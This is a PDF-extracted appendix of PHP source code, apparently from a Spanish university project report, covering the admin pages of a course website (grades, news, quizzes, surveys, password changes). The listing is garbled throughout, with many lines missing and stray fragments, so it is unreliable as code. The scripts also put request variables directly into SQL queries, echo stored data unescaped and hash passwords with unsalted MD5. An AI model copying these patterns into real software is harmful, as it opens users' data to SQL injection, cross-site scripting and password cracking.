echo "<form action=editar_nota.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la nota a editar y
pulse Editar</p></td></tr>\n";
echo "<tr><td width=5%><p class=t2> </p></td><td><p
class=t2>Alumno</p></td><td width=15%><p class=t2>Nota</p></td></tr>\n";
$cons = "SELECT id, alumno, nota FROM notas ";
for ($i=0; $i<$k; $i++){
if ($i == 0) {
echo "<tr><td> <input type=radio name=\"id_nota\" value=\"$valor\"
checked></td>\n";
} else {
echo "<tr><td> <input type=radio name=\"id_nota\"
}
}
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
$cons = "SELECT asig, conv, fecha FROM datos";
echo "<form action=editar_datos_notas.php method=post>";
Pg. 252
echo "<tr><td colspan=2><p class=t1>Haga las modificaciones que estime oportunas y

pulse Aceptar</p></td></tr>";
echo "<tr><td><p class=t2>Curso:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"curso\" SIZE=\"50\"
VALUE=\"".mysql_result($res, 0,0)."\"></td></tr>";
echo "<tr><td><p class=t2>Convocatoria:</p></td>";
echo "<td><input TYPE=\"text\" align=left NAME=\"convocatoria\" SIZE=\"50\"
echo "<td><input TYPE=\"text\" align=left NAME=\"fecha\" SIZE=\"50\"
value=\"Aceptar\"></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=importar_notas.php method=post>\n";
echo "<tr><td colspan=3 align=\"left\"><p class=t1>  Esta opción
permite importar notas desde un fichero ASCII con formato <i>\"campos separados por
tabuladores\"</i>. Este formato es estándar y casi cualquier base de datos
(ej: <i>Microsoft Access</i>) e incluso otros programas (ej: <i>Microsoft Excel</i>)
permiten exportar al mismo.</p><p class=t1>    Las notas
contenidas en el fichero serán <i>agregadas</i> a la base de datos,
preservando las calificaciones existentes (es decir, el contenido actual de la base
de datos no es borrado previamente ni sobreescrito). Quizás le interese antes
hacer uso de la opción de \"borrar todas las notas\" y acto seguido llevar a
cabo la importación.</p><p class=t1>  <u>Asegúrese de que el
fichero tiene el formato correcto (con el nombre del alumno en la primera columna y
la correspondiente calificacin o nota en la segunda)</u>. De lo contrario, la base
de datos se corromperá irremediablemente.</p> <p
class=t1>  ¿Quiere seguir adelante?</p></td></tr>\n";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
mysql_close ($id);
pie("admin_notas.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body></html>
2.8.
/admin/acceso_noticias.php
<?php
check_privs('noticias_w');
?>
<html>
<head>
<title>Acceso a la base de datos: noticias</title>
<style>
Pg. 253
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
/***************************/
*/
/***************************/
/***********************************/
/***********************************/
$base = $db_noticias;
datos $base. ");
echo "<form action=insertar_noticia.php method=post>";
echo "<tr><td><p class=t2>Noticia:</p></td>";
echo "<td><textarea name=\"noticia\" rows=\"5\" cols=\"50\"></textarea></td></tr>";
echo "<tr><td><p class=t2>Comentario:</p></td>";
echo "<td><textarea name=\"comentario\" rows=\"5\"
echo "<td><input TYPE=\"text\" align=left NAME=\"fecha\" SIZE=\"50\" VALUE=\"\">
<font class=t1>  (opcional)</font></td></tr>";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_noticia.php method=post>\n";
Pg. 254
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la noticia a

eliminar y pulse Borrar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p class=t2>Noticia</p></td><td
$cons = "SELECT id,noticia, fecha FROM noticias ";
for ($i=0; $i<$k; $i++){
$name = "caja".$i;
}
echo "<input type=\"hidden\" name=\"numnoticias\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=borrar_todas_noticias.php method=post>\n";
todas las noticias de la base de datos. Est seguro?</p></td></tr>\n";
$cons = "SELECT id FROM noticias ";
echo "<input type=\"hidden\" name=\"numnoticias\" value=\"$k\">";
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
echo "<form action=editar_noticia.php method=post>\n";
echo "<tr><td colspan=3 align=\"center\"><p class=t1>Seleccione la noticia a editar
y pulse Editar</p></td></tr>\n";
echo "<tr><td><p class=t2> </p></td><td><p class=t2>Noticia</p></td><td
$cons = "SELECT id,noticia, fecha FROM noticias ";
for ($i=0; $i<$k; $i++){
if ($i == 0) {
echo "<tr><td> <input type=radio name=\"id_noticia\" value=\"$valor\"
checked></td>\n";
} else {
Pg. 255
echo "<tr><td> <input type=radio name=\"id_noticia\"

}
}
echo "</table>";
echo "</td></tr>";
echo "</table>";
}
mysql_close ($id);
pie("admin_noticias.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body></html>
2.9.
/admin/admin_cuestionario.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: cuestionario</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">Acceso a la base de datos: cuestionario</h2>
<form action="acceso_cuestionario.php" method=post >
bgcolor="#99CCAF">
Pg. 256
<tr>
<p class=t1>
Por favor, seleccione una opción:</p>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
<input TYPE="radio" align="right" NAME="elecion" VALUE="1" checked>
Insertar nueva cuestión.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
<input TYPE="radio" align="right" NAME="elecion" VALUE="2">
Borrar una cuestión.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar todas las cuestiones.</p>
</td>
</tr>
<tr>
<td height="23"> </td>
<td height="23">
<p class=t2>
Editar una cuestión.</p>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
</td></tr>
</table>
</form>
<?php
pie(".", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
Pg. 257
2.10. /admin/admin_dudas.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: dudas</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">Acceso a la base de datos: dudas</h2>
<form action="acceso_dudas.php" method=post >
bgcolor="#99CCAF">
<tr>
<p class=t1>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
Insertar nueva duda.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar una duda.</p>
</td>
Pg. 258
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar todas las dudas.</p>
</td>
</tr>
<tr>
<td height="23">
<p class=t2>
Editar una duda.</p>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
</td></tr>
</table>
</form>
<?php
?>
</body>
</html>
2.11. /admin/admin_encuesta.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: encuesta</title>
<style>
</style>
</head>
<tr>
</td>
Pg. 259

</td>
</tr>
</table>
<hr>
<h2 align="center">Acceso a la base de datos: encuesta</h2>
<form action="acceso_encuesta.php" method=post >
bgcolor="#99CCAF">
<tr>
<p class=t1>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
Mostrar estadísticas.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar encuestas para un profesor dado.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar todas las encuestas almacenadas.</p>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
</td></tr>
</table>
</form>
Pg. 260
<?php
?>
</body>
</html>
2.12. /admin/admin_monitores.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: monitores</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">Acceso a la base de datos: monitores</h2>
<form action="acceso_monitores.php" method=post >
bgcolor="#99CCAF">
<tr>
<p class=t1>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
Insertar nuevo monitor.</p>
Pg. 261
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar un monitor.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar todos los monitores.</p>
</td>
</tr>
<tr>
<td height="23">
<p class=t2>
Editar un monitor.</p>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
</td></tr>
</table>
</form>
<?php
?>
</body>
</html>
2.13. /admin/admin_notas.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: notas</title>
<style>
</style>
Pg. 262
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">Acceso a la base de datos: notas</h2>
<form action="acceso_notas.php" method=post >
bgcolor="#99CCAF">
<tr>
<p class=t1>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
Insertar nueva nota.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar una nota.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar todas las notas.</p>
</td>
</tr>
<tr>
<td height="23">
<p class=t2>
Editar una nota.</p>
</td>
</tr>
Pg. 263
<tr>
<td height="23">
<p class=t2>
Editar datos de convocatoria, etc.</p>
</td>
<tr>
<td height="23">
<p class=t2>
Importar notas desde fichero.</p>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
</td></tr>
</table>
</form>
<?php
?>
</body>
</html>
2.14. /admin/admin_noticias.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: noticias</title>
<style>
</style>
</head>
<tr>
</td>
Pg. 264

</td>
</tr>
</table>
<hr>
<h2 align="center">Acceso a la base de datos: noticias</h2>
<form action="acceso_noticias.php" method=post >
bgcolor="#99CCAF">
<tr>
<p class=t1>
</td>
</tr>
<tr>
</tr>
<tr>
<td width="547">
<p class=t2>
Insertar nueva noticia.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar una noticia.</p>
</td>
</tr>
<tr>
<td width="547">
<p class=t2>
Borrar todas las noticias.</p>
</td>
</tr>
<tr>
<td height="23">
<p class=t2>
Editar una noticia.</p>
</td>
</tr>
<tr>
</tr>
<tr>
<p align="center">
</p>
</td>
</tr>
</table>
Pg. 265
</td></tr>
</table>
</form>
<?php
?>
</body>
</html>
2.15. /admin/borrar_cuestion.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: cuestionario.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$msg = "";
for($i=0;$i<$numcuestiones;$i++){
$name="caja".$i;
if (isset(${$name})){
$sql = "DELETE FROM pregunta WHERE id=\"${$name}\"";
mysql_query($sql, $id) or die ("Fallo en la toma de datos.");
$n= mysql_affected_rows();
if ($n==0){
$msg .= "No se ha borrado correctamente la cuestión: ${$name}.<br>";
} else{
$sql = "DELETE FROM opciones WHERE id=\"${$name}\"";
Pg. 266
if ($n==0){
$msg .= "No se ha borrado correctamente la cuestión: ${$name}. La base
de datos es inconsistente.<br>";
} else {
$msg .= "Correctamente borrada la cuestión: ${$name}.<br>";
}
}
}
}
mysql_close($id);
echo "<p align=center class=t1>".$msg."</p>";
pie("acceso_cuestionario.php?elecion=2", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.16. /admin/borrar_duda.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: dudas.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
$base = $db_dudas;
datos $base. ");
$msg = "";
for($i=0;$i<$numdudas;$i++){
$name="caja".$i;
$sql = "DELETE FROM dudas WHERE id=\"${$name}\"";
if ($n==0){
$msg .= "No se ha borrado correctamente la duda: ${$name}.<br>";
Pg. 267
}
else{
$msg .= "Correctamente borrada la duda: ${$name}.<br>";
}
}
mysql_close($id);
pie("acceso_dudas.php?elecion=2", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.17. /admin/borrar_encuesta_prof.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: encuesta.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (!(isset($prof))){
$msg = "Por favor, seleccione profesor.";
} else {
filtro_numerico($prof);
if ($prof < 1 || $prof > 3) {
$msg = "Profesor incorrecto.";
} else {
//Hemos pasado todos los chequeos. Realizamos el borrado.
datos $base. ");
$tablas_encuesta = array ('bloque1_prof', 'bloque2_prof', 'bloque3_prof',
'opinion_prof');
Pg. 268
foreach ($tablas_encuesta as $tabla) {

$sql="DELETE from $tabla$prof";
mysql_query($sql,$id) or die ("Fallo al intentar borrar");
}
$msg = "Todas las encuestas correspondientes al profesor
<i>".${"profesor".$prof}."</i> han sido correctamente eliminadas.";
mysql_close($id);
}
}
print ("<p class=t1 align=center>$msg</p>");
pie("acceso_encuesta.php?elecion=2", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.18. /admin/borrar_monitor.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: monitores.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$msg = "";
for($i=0;$i<$nummonitores;$i++){
$name="caja".$i;
$sql = "DELETE FROM monitores WHERE id=\"${$name}\"";
if ($n==0){
Pg. 269
$msg .= "No se ha borrado correctamente el monitor: ${$name}.<br>";

}
else{
$msg .= "Correctamente borrado el monitor: ${$name}.<br>";
}
}
mysql_close($id);
pie("acceso_monitores.php?elecion=2", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.19. /admin/borrar_nota.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: notas.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
$base = $db_notas;
datos $base. ");
$msg = "";
for($i=0;$i<$numnotas;$i++){
$name="caja".$i;
$sql = "DELETE FROM notas WHERE id=\"${$name}\"";
if ($n==0){
$msg .= "No se ha borrado correctamente la nota: ${$name}.<br>";
}
else{
Pg. 270
$msg .= "Correctamente borrada la nota: ${$name}.<br>";

}
}
mysql_close($id);
pie("acceso_notas.php?elecion=2", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.20. /admin/borrar_noticia.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: noticias.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$msg = "";
for($i=0;$i<$numnoticias;$i++){
$name="caja".$i;
$sql = "DELETE FROM noticias WHERE id=\"${$name}\"";
if ($n==0){
$msg .= "No se ha borrado correctamente la noticia: ${$name}.<br>";
}
else{
$msg .= "Correctamente borrada la noticia: ${$name}.<br>";
}
}
Pg. 271
}
mysql_close($id);
pie("acceso_noticias.php?elecion=2", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.21. /admin/borrar_todas.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
$base = $db_dudas;
datos $base. ");
$sql="DELETE from dudas where id>=0";
mysql_query($sql,$id) or die ("Fallo en el acceso");
if ($n==$numdudas){
$msg = "Todas las dudas han sido correctamente borradas.";
} else {
$msg= "Error inesperado. Algunas dudas no han podido ser borradas.";
}
mysql_close($id);
pie("admin_dudas.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
Pg. 272
2.22. /admin/borrar_todas_cuestiones.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$sql="DELETE from pregunta where id>=0";
if ($n==$numcuestiones){
$sql = "DELETE FROM opciones WHERE id>=0";
if ($n==$numcuestiones){
$msg = "Todas las cuestiones han sido correctamente borradas.";
} else {
$msg = "Error inesperado. Algunas cuestiones no han podido ser borradas. Base de
datos en estado inconsistente.";
}
} else {
$msg= "Error inesperado. Algunas cuestiones no han podido ser borradas. Tendr que
revisar la base de datos en busca de incongruencias.";
}
mysql_close($id);
pie("admin_cuestionario.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
Pg. 273
2.23. /admin/borrar_todas_encuestas.php
<?php
?>
<html>
<head>
<title>Acceso a la base de datos: encuesta.</title>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$tablas_encuesta = array ('bloque1_prof', 'bloque2_prof', 'bloque3_prof',
'opinion_prof');
for ($prof=1; $prof<=3; $prof++) {
foreach ($tablas_encuesta as $tabla) {
$sql="DELETE from $tabla$prof";
mysql_query($sql,$id) or die ("Fallo al intentar borrar");
}
}
$msg = "Todas las encuestas han sido correctamente eliminadas.";
mysql_close($id);
pie("admin_encuesta.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.24. /admin/borrar_todas_notas.php
<?php
Pg. 274
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
$base = $db_notas;
datos $base. ");
$sql="DELETE from notas where id>=0";
if ($n==$numnotas){
$msg = "Todas las notas han sido correctamente borradas.";
} else {
$msg= "Error inesperado. Algunas notas no han podido ser borradas.";
}
mysql_close($id);
?>
</body>
</html>
2.25. /admin/borrar_todas_noticias.php
<?php
?>
<html>
<head>
<style>
Pg. 275
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$sql="DELETE from noticias where id>=0";
if ($n==$numnoticias){
$msg = "Todas las noticias han sido correctamente borradas.";
} else {
$msg= "Error inesperado. Algunas noticias no han podido ser borradas.";
}
mysql_close($id);
pie("admin_noticias.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.26. /admin/borrar_todos_monitores.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
Pg. 276

</td>
</tr>
</table>
<hr>
<?
datos $base. ");
$sql="DELETE from monitores where id>=0";
if ($n==$nummonitores){
$msg = "Todos los monitores han sido correctamente borrados.";
} else {
$msg= "Error inesperado. Algunos monitores no han podido ser borrados.";
}
mysql_close($id);
pie("admin_monitores.php", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</body>
</html>
2.27. /admin/chpass.php
<?php
check_privs('chpass');
?>
<html>
<head>
<title>Cambio de contraseña.</title>
<style>
p.t2 {font: bold 13px/15px Verdana, Arial; color:#000000; TEXT-DECORATION: none;textindent:2px}
p.t3 {font: 11px times new roman, Arial; line-height:15px; color:#000000; TEXTDECORATION: none;text-indent:2px}
LI {font: bold 13px Verdana, Arial; line-height:15px; color:#000000; TEXT-DECORATION:
A:active {COLOR: #004433; TEXT-DECORATION: none}
A:visited {COLOR: #004433; TEXT-DECORATION: none}
A:hover {BACKGROUND-COLOR: #ffffdd; COLOR: black; TEXT-DECORATION: none}
</style>
</head>
<body bgcolor=<?php echo $colorbg; ?> text="#000000" link="#004433" vlink="#004433"
alink="#004433">
<tr>
Pg. 277
</td>
</td>
</tr>
</table>
<hr>
<h2 align="center">Cambio de contraseña</h2>
<br>
<?php
if (isset($enviar)) {
// Conectamos con la bbdd de usuarios
conectar_admin();
mysql_select_db($db_usuarios);
// Comprobamos la contrasea actual
$hash_password = md5($pwd_actual);
$result = mysql_query("select * from cuentas where user = '".$_SESSION['user']."'
and pass = '$hash_password'");
// Si la contrasea actual es la correcta...
if (mysql_numrows($result) == 1) {
if ($pwd_nuevo1 == $pwd_nuevo2) {
$result = mysql_query("update cuentas set pass = '".md5($pwd_nuevo1)."' where
user = '".$_SESSION['user']."'");
if ($result) {
$msg = "La contraseña ha sido cambiada correctamente.";
} else {
$msg = "Error inesperado al acceder a la base de datos. Si el error persiste,
contacte con el Administrador.";
}
} else {
$msg = "No coincide la contrasea nueva con la repetida. Cambio no realizado.";
}
}
else {
$msg = "La contrasea actual que ha proporcionado es incorrecta. Cambio no
realizado.";
}
/*****************************************************************/
/* Ahora imprimimos un recuadro con el resultado de la operacin */
/*****************************************************************/
?>
<tr>
<td bgcolor=#007f40>
bgcolor="#99CCAF">
<tr>
<td> </td>
</tr>
<tr>
<td width="49%">
Pg. 278
<div align="center">
<p class="t1"><?php echo $msg; ?></p>
</div>
</td>
</tr>
<tr>
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
<?php
} else {
?>
<form action=<?php echo $PHP_SELF ?> method="post">
<tr>
bgcolor="#99CCAF">
<tr>
<td colspan=3>
<p class=t1> Elija una de las opciones disponibles:</p>
</td>
</tr>
<tr>
<td colspan=3> </td>
</tr>
<tr>
<td colspan=2>
<p align="right" class="t2">Contraseña actual:</p>
</td>
<td width="49%">
<input type="password" name="pwd_actual" maxlength="16" size="16">
</td>
</tr>
<tr>
<td colspan=2>
<p align="right" class="t2">Contraseña nueva:</p>
</td>
<td width="49%">
<input type="password" name="pwd_nuevo1" maxlength="16" size="16">
</td>
</tr>
<tr>
<td colspan=2>
<p align="right" class="t2">Repita la nueva contraseña:</p>
</td>
<td width="49%">
<input type="password" name="pwd_nuevo2" maxlength="16" size="16">
</td>
</tr>
<tr>
</tr>
<tr>
<td colspan=3>
<input type="submit" name="enviar" value="Realizar cambio">
</div>
</td>
</tr>
<tr>
Pg. 279
<td colspan=3 class="t3" height="21">

<p class="t3" align="right">
<?php
if ($_SESSION['realname']) {
$id = $_SESSION['realname']." (usuario <i>\"".$_SESSION['user']."\"</i>)";
} else {
$id = "<i>\"".$_SESSION['user']."\"</i>";
}
echo "Identificado como: $id.  ";
?>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<?php
}
?>
<table width="100%" border="0" cellspacing="2" cellpadding="2">
<tr><td colspan=4> </td></tr>
<tr>
<td width="10%" align="right"><a
href="http://www.gte.us.es/fbarrero/csed/admin/"><img border=0
src="../images/atras.gif" width="17" height="16" alt=""></a></td>
<td width="25%" ><font size="-1"><b>Atrs</b></font></td>
<td align="right"><a href="http://www.gte.us.es/~fbarrero/CSED/"><img border=0
src="../images/hazhome[1].gif" width="26" height="26" alt=""></a></td>
<td><b>Volver al inicio</b> </td>
</tr>
</table>
</body>
</html>
2.28. /admin/crear_estadisticas.php
<?php
?>
<html>
<head>
<title>Estadsticas sobre las encuestas de evaluacin de profesores.</title>
<style>
h2.t1 {font: bold 16px Verdana, Arial; line-height:18px; color:#007f40; TEXTDECORATION: none;text-indent:2px}
</style>
</head>
Pg. 280
<tr>
</td>
<td align="center"> <b><font face="Arial" color="#000000"
size="4"><small>Complementos de Sistemas Electrnicos Digitales</small></font>
</b></td>
</td>
</tr>
</table>
<hr>
<?
die ("Por favor, seleccione profesor");
}
if ($prof < 1 || $prof > 3) {
die ("Profesor incorrecto");
}
echo "<h2 class=t1 align=\"center\">Estadísticas del profesor
<i>".${"profesor".$prof}."</i></h2>\n";
echo "<table align=\"center\" width=90% cellpading=1 cellspacing=1>";
echo "<tr><td bgcolor=\"$colorbg\">";
echo "<table align=\"center\" width=100% cellpading=1 cellspacing=1>";
datos $base. ");
$sql ="SELECT
id,valor1,pregunta1,pregunta2,pregunta3,pregunta4,pregunta5,pregunta6,pregunta7,pregu
nta8 FROM bloque1_prof".$prof;
$res=mysql_query($sql,$id) or die ("Fallo en la toma de datos");
$n=mysql_num_rows($res);
if ($n>0) {
print ("<tr bgcolor=\"$colorbg\"><td colspan=3><p class=t2>La encuesta ha sido
respondida por $n alumnos.</td></tr>\n");
print ("<tr><td> </td></tr>\n");
echo "<tr bgcolor=\"$colorbg\"><td colspan=2><p class=t2>Bloque</td><td><p
class=t2>Media aritmtica</td></tr>\n";
for ($j=1;$j<10;$j++)
{
$cuenta=0;
for ($i=0;$i<$n;$i++)
{
$ci=mysql_result($res,$i,$j);
$cuenta=$ci+$cuenta;
$med_abs=$cuenta/$n;
}
if ($j==1)
{
print ("<tr bgcolor=\"$colorbg\">\n<td colspan=2><p class=t2>ACTITUDES
PERSONALES</td>
\n<td><p class=t2>$med_abs</td>\n</tr>\n");
}
else
{
$v=$j-1;
print ("<tr bgcolor=\"$colorbg\">\n<td width=5%> </td>\n<td><p
Pg. 281
class=t2>Pregunta
$v</td> \n<td><p class=t2>$med_abs</td>\n</tr>\n");
}
}
$sql ="SELECT
id,valor2,pregunta9,pregunta10,pregunta11,pregunta12,pregunta13,pregunta14,pregunta15
,pregunta16 FROM bloque2_prof".$prof;
for ($j=1;$j<10;$j++)
{
$cuenta=0;
for ($i=0;$i<$n;$i++)
{
}
if ($j==1)
{
print ("<tr bgcolor=\"$colorbg\">\n<td colspan=2><p class=t2>COMPETENCIA
EXPOSITIVA</td>
}
else
{
$v=$j+7;
class=t2>Pregunta
}
}
$sql ="SELECT
id,valor3,pregunta17,pregunta18,pregunta19,pregunta20,pregunta21,pregunta22,pregunta2
3,pregunta24 FROM bloque3_prof".$prof;
for ($j=1;$j<10;$j++)
{
$cuenta=0;
for ($i=0;$i<$n;$i++)
{
}
if ($j==1)
{
print ("<tr bgcolor=\"$colorbg\">\n<td colspan=2><p class=t2>ASPECTOS OBJETIVOS
DE PREPARACIN</td>
}
else
{
$v=$j+15;
class=t2>Pregunta
}
}
?>
<table align="center" width=100% cellpading=1 cellspacing=1>
<tr><td bgcolor=<?php echo $colorbg; ?>>
<tr bgcolor=\"#88ddaa\"><td align="center"><p class=t2>OPINIONES</p></td></tr>
<?
$sql="SELECT opinion from opinion_prof".$prof;
$res=mysql_query($sql,$id);
$numop=mysql_num_rows($res);
for ($i=0;$i<$numop;$i++){
$op=mysql_result($res,$i,0);
Pg. 282
print ("<tr bgcolor=\"#88ddaa\">\n<td align=\"justify\"><p

class=t2>$op</p></td></tr>");
}
echo "</table></table></td></tr>\n";
mysql_close($id);
} else {
print ("<tr bgcolor=\"$colorbg\"><td colspan=3><p class=t2
align=\"center\">Ningún alumno ha respondido a la encuesta.</td></tr>\n");
print ("<tr><td> </td></tr>");
}
echo "</table>";
pie("acceso_encuesta.php?elecion=1", "http://www.gte.us.es/~fbarrero/CSED/");
?>
</BODY>
</HTML>
2.29. /admin/editar_cuestion.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (!(isset($cuestion)) && isset($id_cuestion)) {
datos $base. ");
$cons = "SELECT texto, solucion FROM pregunta WHERE id=\"$id_cuestion\"";
$cuestion = mysql_result($res, 0, 0);
$solucion = mysql_result($res, 0, 1);
Pg. 283
$cons = "SELECT opciona, opcionb, opcionc, opciond FROM opciones WHERE

id=\"$id_cuestion\"";
$res = mysql_query ($cons, $id) OR die ("Fallo en la respuesta (leyendo
opciones).");
$opa = mysql_result($res, 0, 0);
$opb = mysql_result($res, 0, 1);
$opc = mysql_result($res, 0, 2);
$opd = mysql_result($res, 0, 3);
echo "<form action=$PHP_SELF method=post>";
echo "<tr><td><p class=t2>Cuestión:</p></td>";
echo "<td><textarea name=\"cuestion\" rows=\"5\"
cols=\"50\">$cuestion</textarea></td></tr>";
echo "<tr><td><p class=t2>Opción a:</p></td>";
echo "<td><textarea name=\"opa\" rows=\"5\" cols=\"50\">$opa</textarea></td></tr>";
echo "<tr><td><p class=t2>Opción b:</p></td>";
echo "<td><textarea name=\"opb\" rows=\"5\" cols=\"50\">$opb</textarea></td></tr>";
echo "<tr><td><p class=t2>Opción c:</p></td>";
echo "<td><textarea name=\"opc\" rows=\"5\" cols=\"50\">$opc</textarea></td></tr>";
echo "<tr><td><p class=t2>Opción d:</p></td>";
echo "<td><textarea name=\"opd\" rows=\"5\" cols=\"50\">$opd</textarea></td></tr>";
echo "<tr><td><p class=t2>Solucin:</p></td>";
switch ($solucion) {
case "a":
echo "<td><input type=\"radio\" name=\"solucion\" value=\"a\"
checked>a   ";
break;
case "b":
echo "<td><input type=\"radio\" name=\"solucion\"
value=\"a\">a   ";
echo "<input type=\"radio\" name=\"solucion\" value=\"b\"
checked>b   ";
break;
case "c":
value=\"a\">a   ";
echo "<input type=\"radio\" name=\"solucion\" value=\"c\"
checked>c   ";
break;
case "d":
value=\"a\">a   ";
echo "<input type=\"radio\" name=\"solucion\" value=\"d\"
checked>d   </td>";
break;
default:
die ("Inconsistencia en la base de datos. La solucin tiene que ser una de
estas: a, b, c, d.");
break;
}
Pg. 284
echo "<input TYPE=\"hidden\" NAME=\"id_cuestion\" VALUE=\"$id_cuestion\">";

echo "</table>";
echo "</td></tr>";
echo "</table>";
}
else if (isset($cuestion) && isset($opa) && isset($opb) && isset($solucion) &&
isset($id_cuestion) && $cuestion!="" && $opa!="" && $opb!="" && $solucion!="" &&
$id_cuestion!=""){
datos $base. ");
$sql = "UPDATE pregunta SET texto=\"$cuestion\", solucion=\"$solucion\" where
id=\"$id_cuestion\" ";
$result = mysql_query($sql,$id);
if ($result){
$sql = "UPDATE opciones SET opciona=\"$opa\", opcionb=\"$opb\", opcionc=\"$opc\",
opciond=\"$opd\" where id=\"$id_cuestion\" ";
if ($result){
$msg = "La cuestión ha sido guardada correctamente.";
} else {
$msg = "Error inesperado. Base de datos inconsistente. Contacte con el
Administrador.";
}
}
else{
$msg = "Error inesperado. Contacte con el Administrador.";
}
mysql_close($id);
}
else {
$msg = "Los campos de cuestin, opcin a, opcin b y solucin son obligatorios.
Debe rellenarlos.";
}
if (isset($msg)) {
echo "<table align=\"center\"><tr><td><p class=t1>".$msg."</p></td></tr></table>";
}
?>
</body>
</html>
2.30. /admin/editar_datos_notas.php
<?php
?>
<html>
<head>
<style>
</style>
</head>
Pg. 285
<tr>
</td>
</td>
</tr>
</table>
<hr>
<?
if (isset($curso) && isset($convocatoria) && isset($fecha) && $curso!="" &&
$convocatoria!="" && $fecha!=""){
$base = $db_notas;
datos $base. ");
$sql = "UPDATE datos SET asig=\"$curso\", conv=\"$convocatoria\",
